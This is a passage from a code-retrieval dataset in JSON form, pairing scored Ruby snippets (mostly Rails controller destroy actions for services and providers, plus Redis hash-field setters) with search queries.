"text": "def destroy\n service.destroy\n render json: service, status: 200\n end",
"title": ""
},
{
"docid": "09aff518eb4bd82264a931dc488f8e8e",
"score": "0.7155136",
"text": "def destroy\n set_services\n set_service_and_provider\n require_permission? or return\n @service.destroy\n respond_to do |format|\n format.html { redirect_to edit_services_path(@provider), notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4403d561cff03d8161b19d7118e218b3",
"score": "0.7093235",
"text": "def destroy\n @v1_provider.destroy\n respond_to do |format|\n format.html { redirect_to v1_providers_url, notice: 'Provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c7d79b440f49ed008c04c56bc999cbaf",
"score": "0.7039049",
"text": "def delete service\n\t @name_services.delete service\n\tend",
"title": ""
},
{
"docid": "6ab0b24efa8a15020cd03e0d6960ba84",
"score": "0.6904336",
"text": "def destroy\n\n @service.destroy\n respond_to do |format|\n format.html { redirect_to admin_services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "eddb7680c796c42b17a53483c3a5a9bf",
"score": "0.68930924",
"text": "def destroy\n @client_service = ClientService.find(params[:id])\n @client_service.destroy\n\n respond_to do |format|\n format.html { redirect_to client_services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec31a776ed69d25bb7e303a8f851eec7",
"score": "0.68775004",
"text": "def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f2878e628574b0d937a43a29c38dfdc2",
"score": "0.68535554",
"text": "def destroy\n @provider = Provider.find(params[:id])\n @provider.destroy\n\n respond_to do |format|\n format.html { redirect_to providers_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "75b5498d8dbcc2393dfbc14aea3b1b94",
"score": "0.68407273",
"text": "def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "75b5498d8dbcc2393dfbc14aea3b1b94",
"score": "0.68407273",
"text": "def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "75b5498d8dbcc2393dfbc14aea3b1b94",
"score": "0.68407273",
"text": "def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "75b5498d8dbcc2393dfbc14aea3b1b94",
"score": "0.68407273",
"text": "def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "174b723f9e43bfa7501a9cdc389e4c1b",
"score": "0.6837217",
"text": "def delete\n @response = self.class.delete(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\")\n end",
"title": ""
},
{
"docid": "8d70a93c07c436c747354b4198036e08",
"score": "0.68363184",
"text": "def destroy\n @provider = current_provider # Provider.find(params[:id])\n @provider.destroy\n\n respond_to do |format|\n format.html { redirect_to providers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7d1ff7d8dc583b7ece103cbac9397dab",
"score": "0.68292195",
"text": "def destroy\r\n @provider.destroy\r\n respond_to do |format|\r\n format.html { redirect_to providers_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"title": ""
},
{
"docid": "511a4915d2acce57e4f82bd20590b56f",
"score": "0.6815324",
"text": "def destroy\n @sprovider.destroy\n respond_to do |format|\n format.html { redirect_to sproviders_url, notice: 'Sprovider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c612decc63cb122cfc73fc5454d5130d",
"score": "0.68144405",
"text": "def destroy\n @provider = Provider.find(params[:id])\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "72acf828c0d74095c4443b480b68b550",
"score": "0.67893267",
"text": "def destroy\r\n @provider = Provider.find(params[:id])\r\n @provider.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to providers_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"title": ""
},
{
"docid": "67a020d7213b3d0fba15d1bf2946b771",
"score": "0.67799574",
"text": "def destroy\r\n @service.destroy\r\n respond_to do |format|\r\n format.html { redirect_to services_url }\r\n format.json { head :no_content }\r\n end\r\n end",
"title": ""
},
{
"docid": "0f189701a29081c00f588657e73e392b",
"score": "0.67670524",
"text": "def destroy\n @service = Service.find(params[:id])\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0f189701a29081c00f588657e73e392b",
"score": "0.67670524",
"text": "def destroy\n @service = Service.find(params[:id])\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0f189701a29081c00f588657e73e392b",
"score": "0.67670524",
"text": "def destroy\n @service = Service.find(params[:id])\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0f189701a29081c00f588657e73e392b",
"score": "0.67670524",
"text": "def destroy\n @service = Service.find(params[:id])\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0f189701a29081c00f588657e73e392b",
"score": "0.67670524",
"text": "def destroy\n @service = Service.find(params[:id])\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0f189701a29081c00f588657e73e392b",
"score": "0.67670524",
"text": "def destroy\n @service = Service.find(params[:id])\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0254da1a1243e9d58d537bb6b9a5f3ed",
"score": "0.67633206",
"text": "def destroy\n @seaservice.destroy\n respond_to do |format|\n format.html { redirect_to seaservices_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f771df7d19346fc235fe7bb3807d51c9",
"score": "0.6759684",
"text": "def destroy\n @service = Service.find(params[:id])\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ea5cb48b122940eb90dec878a00411e6",
"score": "0.6757198",
"text": "def destroy\n service = Service.find_by(id: params[:id])\n service.destroy\n end",
"title": ""
},
{
"docid": "ec2e9002164b056208c610f43ea9c0fb",
"score": "0.67441815",
"text": "def destroy\n @service = Service.find(params[:id])\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to company_type_services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6eed9be996f761358a04ed780ffb23ce",
"score": "0.67321634",
"text": "def delete_endpoint\n end",
"title": ""
},
{
"docid": "dd8fb4b8e1615040c36388866ca72a56",
"score": "0.6726882",
"text": "def destroy\n @provider_provider.destroy\n respond_to do |format|\n format.html { redirect_to provider_providers_url, notice: 'Provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5bd11f7914ed312c2c8bb3613f0f0412",
"score": "0.6724951",
"text": "def destroy\n @service_version_so.destroy\n respond_to do |format|\n format.html { redirect_to service_version_sos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3273deb534eadb44175032f597ae60a8",
"score": "0.67248225",
"text": "def destroy\n @customer_service = CustomerService.find(params[:id])\n @customer_service.destroy\n\n respond_to do |format|\n format.html { redirect_to customer_services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d1245be7901e6c0b9e4372f6807f0fad",
"score": "0.67243",
"text": "def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url, notice: 'Provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d1245be7901e6c0b9e4372f6807f0fad",
"score": "0.67243",
"text": "def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url, notice: 'Provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d1245be7901e6c0b9e4372f6807f0fad",
"score": "0.67243",
"text": "def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url, notice: 'Provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d1245be7901e6c0b9e4372f6807f0fad",
"score": "0.67243",
"text": "def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url, notice: 'Provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d1245be7901e6c0b9e4372f6807f0fad",
"score": "0.67243",
"text": "def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url, notice: 'Provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d1245be7901e6c0b9e4372f6807f0fad",
"score": "0.67243",
"text": "def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url, notice: 'Provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d1245be7901e6c0b9e4372f6807f0fad",
"score": "0.67243",
"text": "def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url, notice: 'Provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d1245be7901e6c0b9e4372f6807f0fad",
"score": "0.67243",
"text": "def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url, notice: 'Provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d1245be7901e6c0b9e4372f6807f0fad",
"score": "0.67243",
"text": "def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url, notice: 'Provider was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e497d42e22753ca68a1bb18034fc9f6c",
"score": "0.672047",
"text": "def destroy\n\n @service_location = @contract.service_locations.find(params[:id])\n @contract.service_locations.destroy(@service_location)\n\n respond_to do |format|\n format.html { redirect_to contract_url(@contract) }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "b1a17c1ee1af05c79fe156622df44818",
"score": "0.67111135",
"text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end",
"title": ""
},
{
"docid": "88261a677fac4b2fcaf1f5e53aaa3bac",
"score": "0.67025983",
"text": "def destroy\n @phone_service.destroy\n respond_to do |format|\n format.html { redirect_to phone_services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9e067292454636b82df1831323ce2199",
"score": "0.66996944",
"text": "def destroy\n #@service = Service.find(params[:id])\n @service = Service.new\n @service.id = params[:id]\n @service.app_id = params[:app_id]\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to app_services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "151a9c6817683a3bb55bb362770fc1ec",
"score": "0.66996145",
"text": "def destroy\n @service_version.destroy\n respond_to do |format|\n format.html { redirect_to service_versions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a1c92a6a50ca160d32f8ab2595a62ca9",
"score": "0.66965365",
"text": "def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url, notice: 'El proveedor se elimino correctamente.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "406ffec6f8b0e8ca8479254859cc9727",
"score": "0.6696107",
"text": "def destroy\n @service_prov_extra_info.destroy\n respond_to do |format|\n format.html { redirect_to service_prov_extra_infos_url, notice: 'Service prov extra info was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cea81539720c54414a6771cb0cbfb30d",
"score": "0.66929424",
"text": "def destroy\n @consultant_service = ConsultantService.find(params[:id])\n @consultant_service.destroy\n\n respond_to do |format|\n format.html { redirect_to consultant_services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cc08f323ba9ab1ad75ea4603595254b3",
"score": "0.66744125",
"text": "def destroy\n @ivr_service.destroy\n respond_to do |format|\n format.html { redirect_to ivr_services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "20108ae8ae7cce394023e2d7245c0ce3",
"score": "0.6664241",
"text": "def destroy\n service.delete(key)\n end",
"title": ""
},
{
"docid": "2139bd75c39ddfc740753cd569ba3a27",
"score": "0.66593754",
"text": "def destroy\n bonus = Bonus.find_by_service_id(params[:id])\n if bonus\n bonus.delete\n end\n @service = Service.find(params[:id])\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { render json: @service.id}\n end\n end",
"title": ""
},
{
"docid": "12ef5be416425ec2398545f0a462a561",
"score": "0.66566294",
"text": "def destroy\n @service.destroy\n render json: { status: \"your service was deleted\" }\n end",
"title": ""
},
{
"docid": "a77543d77fd7af9b0499d182d6f9cc20",
"score": "0.665437",
"text": "def destroy\n @phone_service_account.destroy\n respond_to do |format|\n format.html { redirect_to phone_service_accounts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "58f2d60b1fdfdf80c9b48173b70e86f9",
"score": "0.6651047",
"text": "def destroy\n @servicerequest.destroy\n respond_to do |format|\n format.html { redirect_to servicerequests_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cdf5b60b9cd8a2c4d168ddb25be70efd",
"score": "0.66498786",
"text": "def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_page_url, notice: 'Поставщик успешно удален.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5a22032f659e9eeaa8fe577bd9e7866e",
"score": "0.6637086",
"text": "def destroy\n @risp_service_usage = RispServiceUsage.find(params[:id])\n @risp_service_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to risp_service_usages_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8924681ffc8dc943100c2801cabbb365",
"score": "0.66367686",
"text": "def destroy\n authorize @service\n @service.destroy\n protocol_action(\"удаление сервиса #{@service.name}\")\n respond_to do |format|\n flash[:success] = t('flashes.destroy', model: Service.model_name.human)\n format.html { redirect_to session.delete(:return_to) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4c1c164b581dbae14285797e584e8fb7",
"score": "0.662747",
"text": "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"title": ""
},
{
"docid": "a1f13b959da19903d6497d6283f4e88b",
"score": "0.6620517",
"text": "def destroy\n if cant_manage then\n access_denied\n else \n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :no_content }\n end\n end\n end",
"title": ""
},
{
"docid": "4631e98c627392a7641b52f47b6a24a3",
"score": "0.6614841",
"text": "def destroy\n Puppet.debug(\"Calling serviceprovider destroy method: \")\n # getting the authorization token for WAF.\n login_instance = Login.new\n auth_header = login_instance.get_auth_header\n service_instance = SwaggerClient::ServiceApi.new\n # getting token end\n svcName=@resource[:name]\n Puppet.debug(\"WAF service name in manifest: #{svcName}\")\n response = service_instance.services_web_application_name_delete(auth_header,svcName,{}) \n # We clear the hash here to stop flush from triggering.\n @property_hash.clear\n return response\nend",
"title": ""
},
{
"docid": "4631e98c627392a7641b52f47b6a24a3",
"score": "0.6614841",
"text": "def destroy\n Puppet.debug(\"Calling serviceprovider destroy method: \")\n # getting the authorization token for WAF.\n login_instance = Login.new\n auth_header = login_instance.get_auth_header\n service_instance = SwaggerClient::ServiceApi.new\n # getting token end\n svcName=@resource[:name]\n Puppet.debug(\"WAF service name in manifest: #{svcName}\")\n response = service_instance.services_web_application_name_delete(auth_header,svcName,{}) \n # We clear the hash here to stop flush from triggering.\n @property_hash.clear\n return response\nend",
"title": ""
},
{
"docid": "0fd6e28af60b19841bdadb22230b3c65",
"score": "0.6614725",
"text": "def delete_service(service_id)\n request(:delete, \"/service/#{service_id}\")\n end",
"title": ""
},
{
"docid": "07f09ed4feab647cb98047c690685b4d",
"score": "0.65994996",
"text": "def destroy\n @optin_service.destroy\n respond_to do |format|\n format.html { redirect_to optin_services_url, notice: 'Optin service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "51b2bf04fb207fbc0b453f6e0f08b8ea",
"score": "0.6599246",
"text": "def destroy\n @amm_o2_service.destroy\n respond_to do |format|\n format.html { redirect_to amm_o2_services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a0092c5fcbbf90545497d4b4eb707e5a",
"score": "0.6596703",
"text": "def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: \"Service was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c21ecea30e09318e4073a044829bce38",
"score": "0.6593726",
"text": "def destroy\n @app_service = AppService.find(params[:id])\n @app_service.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_accounts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bb436825027024d705bc09b2bbff0d8a",
"score": "0.6593643",
"text": "def destroy\n @extra_service.destroy\n respond_to do |format|\n format.html { redirect_to extra_services_url, notice: 'Extra service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "57220a6806c1d955256129e5b7add5b1",
"score": "0.65929717",
"text": "def destroy\n @app_service = AppService.find(params[:id])\n @app_service.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_app_services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d2fd2ddd8d88356538a9bea55b285560",
"score": "0.6591525",
"text": "def destroy\n @service_type_service.destroy\n respond_to do |format|\n format.html { redirect_to service_type_services_url, notice: 'Service type service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e6470830ec47d6b190cf64be37660ec7",
"score": "0.65907234",
"text": "def destroy\n @groupservice = Groupservice.find(params[:id])\n @groupservice.destroy\n\n respond_to do |format|\n format.html { redirect_to groupservices_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6ad1c41dc020f32fcd020ec50b291ca3",
"score": "0.65861666",
"text": "def destroy\n @itemservice = Itemservice.find(params[:id])\n @itemservice.destroy\n\n respond_to do |format|\n format.html { redirect_to itemservices_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fd25f2ddf99d4be460ba9e627075bc1d",
"score": "0.65849864",
"text": "def destroy\n\t\tlog_action_result @service\n\t\t@service.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to services_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "c17cd02fc84ff4dbf697dbd140e6f79b",
"score": "0.6583656",
"text": "def destroy\n @setservice = Setservice.find(params[:id])\n @setservice.destroy\n\n respond_to do |format|\n format.html { redirect_to setservices_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c38d3e64c4a7e4af7ee7b3f121b9063f",
"score": "0.65801454",
"text": "def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'Servicio eliminado.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "10307d20bffd292c1b4440353cf00ef2",
"score": "0.6579591",
"text": "def destroy\n @risp_service = RispService.find(params[:id])\n @risp_service.destroy\n\n respond_to do |format|\n format.html { redirect_to risp_services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "254dd5410521a32641527111a74c9c9c",
"score": "0.65784764",
"text": "def destroy\n @c_provider = CProvider.find(params[:id])\n @c_provider.destroy\n\n respond_to do |format|\n format.html { redirect_to c_providers_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "60e39d8d8e24b7a237036dbb85f06993",
"score": "0.6573333",
"text": "def destroy\n @service.destroy\n head :no_content\n end",
"title": ""
},
{
"docid": "42545090e1a7ef1958f7541876b190f1",
"score": "0.65722954",
"text": "def destroy\n @cms_reference_service = ReferenceService.find(params[:id])\n @cms_reference_service.destroy\n\n respond_to do |format|\n format.html { redirect_to cms_reference_services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8a67da3c0a80239b790a14b51d559de9",
"score": "0.6570269",
"text": "def destroy\n render json: @api_v1_client if @api_v1_client.destroy\n end",
"title": ""
},
{
"docid": "cbcf6abdc2f3cda25c3fbf61b5b266ec",
"score": "0.656851",
"text": "def delete_service(client, name, host_name)\n result = client.delete_service(name: name, host_name: host_name, cascade: true)\n Chef::Log.debug(result.to_s)\n raise \"Can't open connection to API\" if result.nil?\n raise result.to_s unless result.is_a?(Hash)\n raise \"Failed to delete object Service #{name}: #{result}\" unless [200, 404].include?(result['code'])\n end",
"title": ""
},
{
"docid": "38ba72ac281cc5e6e92cdb63b7d74641",
"score": "0.6566871",
"text": "def destroy\n @service_type.destroy\n respond_to do |format|\n format.html { redirect_to service_type_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f0b142d491a852aa8de65454197cc370",
"score": "0.6565813",
"text": "def delete\n verify_request!\n unless uuids = @request.params[\"uuids\"]\n raise \"Provide list of UUIDs of services to delete.\"\n end\n\n uuids.each do |uuid|\n obj = service.where(:uuid => uuid).first\n next unless obj\n unless obj.destroy\n errors = obj.errors.full_messages.join(',')\n raise \"Deleting service #{uuid} failed: #{errors}\"\n end\n end\n response(:success => \"Services have been deleted.\")\n rescue => e\n response(:error => e.message)\n end",
"title": ""
},
{
"docid": "6ced7d7a6733629716e3276fa8da4178",
"score": "0.6559173",
"text": "def destroy\n @admin_agreement_service.destroy\n respond_to do |format|\n format.html { redirect_to admin_agreement_services_url, notice: 'Agreement service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0d4324ced9ce2f2d3f4e5afe8b72d97d",
"score": "0.6556946",
"text": "def destroy\n @event_service = Event::Service.find(params[:id])\n @event_service.destroy\n\n respond_to do |format|\n format.html { redirect_to event_services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6f75957268d0b511e7ce3c14e202ff71",
"score": "0.6553148",
"text": "def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to all_services_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7cb703d468ed79763ffe896478d4d346",
"score": "0.6547356",
"text": "def destroy\n @service_partner = ServicePartner.find(params[:id])\n @service_partner.destroy\n\n respond_to do |format|\n format.html { redirect_to service_partners_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1a61e98dc0045a2171eab5675d3703fc",
"score": "0.6545502",
"text": "def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n \n end",
"title": ""
},
{
"docid": "3f7575dc6be6aff5930510039cb63a10",
"score": "0.65447813",
"text": "def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url, notice: 'Proveedor borrado satisfactoriamente.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "97f1ec3e109727d9371fd8106d731b3c",
"score": "0.6534037",
"text": "def destroy\n @our_service.destroy\n respond_to do |format|\n format.html { redirect_to our_services_url, notice: 'Our service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "521c676ef1d583047181eacdbc2bece2",
"score": "0.65316397",
"text": "def destroy\n @provider.destroy\n respond_to do |format|\n format.html { redirect_to providers_url, notice: 'El Proveedor fue actualizado exitosamente.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "428a3854fd6227fb0df631fd69e8d91d",
"score": "0.65280056",
"text": "def destroy\n @prd_additional_service = PrdAdditionalService.find(params[:id])\n @prd_additional_service.destroy\n\n respond_to do |format|\n format.html { redirect_to(prd_additional_services_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "4b80e719427bc3c65957dc2a9f9813a5",
"score": "0.6525388",
"text": "def destroy\n @service = Service.where(:id => params[:id], :company_id => current_user.company.id).first\n @service.destroy\n\n respond_to do |format|\n format.html { redirect_to services_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bf7d08a55a42656abd37fcd3e761a44e",
"score": "0.65248847",
"text": "def destroy\n onevnet \"delete\", resource[:name]\n end",
"title": ""
},
{
"docid": "69f4558726a787cdb384f35c523b9d1b",
"score": "0.651561",
"text": "def destroy\n @service.destroy\n respond_to do |format|\n format.html { redirect_to services_url, notice: 'Service was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
b22ae9ba506e9a91f628fd3774e8a351
|
Set the value of a hash field, only if the field does not exist.
|
[
{
"docid": "b957b6087673204dec3d90fea4c2663c",
"score": "0.64213145",
"text": "def hsetnx(key, field, value); end",
"title": ""
}
] |
[
{
"docid": "677d2be4a26f8fb26bc3b53d7c3c98fa",
"score": "0.6926171",
"text": "def hsetnx(key, field, value)\n\t\tunless hexists(key, field)\n\t\t\thset(key, field, value)\n\t\t\treturn true\n\t\tend\n\t\treturn false\n\tend",
"title": ""
},
{
"docid": "315f086d8b5e2603384dc46618e5e15f",
"score": "0.6405068",
"text": "def hset(key, field, value)\n\t\thash = get_h(key)\n\t\thash[field] = value\n\t\tset(key, hash)\n\tend",
"title": ""
},
{
"docid": "719e85b955a133edcb948e3e60a46c01",
"score": "0.6398145",
"text": "def set_hash(key, hash)\n fail NotImplementedError\n end",
"title": ""
},
{
"docid": "0802bcbd842a3bcbd7e2a695995e7ae2",
"score": "0.63777596",
"text": "def set_hash(hash) # :nodoc:\n hash.each do |field_name, field_value|\n set_field(field_name, field_value)\n end\n end",
"title": ""
},
{
"docid": "b7c1821d1460b6049b66ce9aaa993b92",
"score": "0.6372672",
"text": "def set_field_value!(data, field, value)\n value = value.presence\n if !data.is_a?(Hash)\n try(\"#{field}=\", value)\n elsif value\n data[field] = value\n elsif data.key?(field)\n data.delete(field)\n end\n end",
"title": ""
},
{
"docid": "e81e13207df0e3b04f8feca22194f6b2",
"score": "0.6322654",
"text": "def hash=(value)\n @children['hash'][:value] = value\n end",
"title": ""
},
{
"docid": "2ee225e763115e0603449843f3fbbf35",
"score": "0.6237737",
"text": "def hset(key, field, value)\n $alfred.hset(key, field, value)\n end",
"title": ""
},
{
"docid": "1acb7bfadcd93c62e1fbbd172aadb1d6",
"score": "0.62004495",
"text": "def hmset(hash, *field_value)\n redis.hmset(hash, *field_value)\n end",
"title": ""
},
{
"docid": "f16b0929b0cbaba5e47a5a1d39820171",
"score": "0.61943287",
"text": "def hstore_update! field, hash\n table = self.class.table_name\n unless hash.empty?\n value = hash.map { |k, v|\n \"#{Hstore.escape k}=>#{Hstore.escape v}\"\n }.join ','\n ActiveRecord::Base.connection.update_sql \\\n %<update #{table} set \"#{field}\" = \"#{field}\" || (#{value}) where id=#{id}>\n end\n end",
"title": ""
},
{
"docid": "9ab1850df609efc6365b321af45972b2",
"score": "0.6178421",
"text": "def set_value(hash, value = nil, &fn)\n set_value!(deep_clone(hash), value, &fn)\n end",
"title": ""
},
{
"docid": "49a4f58663c808bbb20382a0f8138ee2",
"score": "0.61735",
"text": "def hset(key, field, value)\n\t\t\t\t\tcall('HSET', key, field, value)\n\t\t\t\tend",
"title": ""
},
{
"docid": "49a4f58663c808bbb20382a0f8138ee2",
"score": "0.61735",
"text": "def hset(key, field, value)\n\t\t\t\t\tcall('HSET', key, field, value)\n\t\t\t\tend",
"title": ""
},
{
"docid": "90c77956dfa664eb2712129028a9d190",
"score": "0.6130474",
"text": "def setHashValue(obj_type, key, value, prop_name) # set a property value by a hash key\n xml = call_method('facebook.data.setHashValue', { \"obj_type\" => obj_type, \"key\" => key, \"prop_name\" => prop_name, \"value\" => value})\n handle_exceptions(xml)\n return CGI::unescapeHTML(Hpricot::XML(xml).search('data_setHashValue_response').inner_html)\nend",
"title": ""
},
{
"docid": "2715a1e404a3c13750ec7894d20f1344",
"score": "0.609048",
"text": "def append_h(field, hash)\n @fields_update[field] = @fields_current[field] if (@fields_update[field] == nil)\n @fields_update[field] = Hash.new if !(@fields_update[field].is_a? Hash)\n @fields_update[field].merge!(hash)\n end",
"title": ""
},
{
"docid": "bfa0c3153938bddc2f9796bca8335023",
"score": "0.60726446",
"text": "def set(hash)\n set_restricted(hash, nil, nil)\n end",
"title": ""
},
{
"docid": "adcd6e5c23ee03ba1b35708a5249d728",
"score": "0.6066496",
"text": "def set_value(key, field, value)\n @redis.hset key, field, value\n end",
"title": ""
},
{
"docid": "13edb05e9a788d04040aa5ae8a85a40f",
"score": "0.60361624",
"text": "def set_value_ne(key, field, value)\n @redis.hsetnx key, field, value\n end",
"title": ""
},
{
"docid": "e9976fbcb47bbf0fb02b9f10d1827de2",
"score": "0.59940374",
"text": "def hash=(hash)\n if hash && !VALID_HASH_TYPES.include?(hash.to_s)\n raise ArgumentError, \"Invalid Hash Type (#{hash}), use: #{VALID_HASH_TYPES*' '}\"\n end\n c[:hash] = hash\n end",
"title": ""
},
{
"docid": "ca1c6fa5a20ffcd3f46c2510472f2495",
"score": "0.5944576",
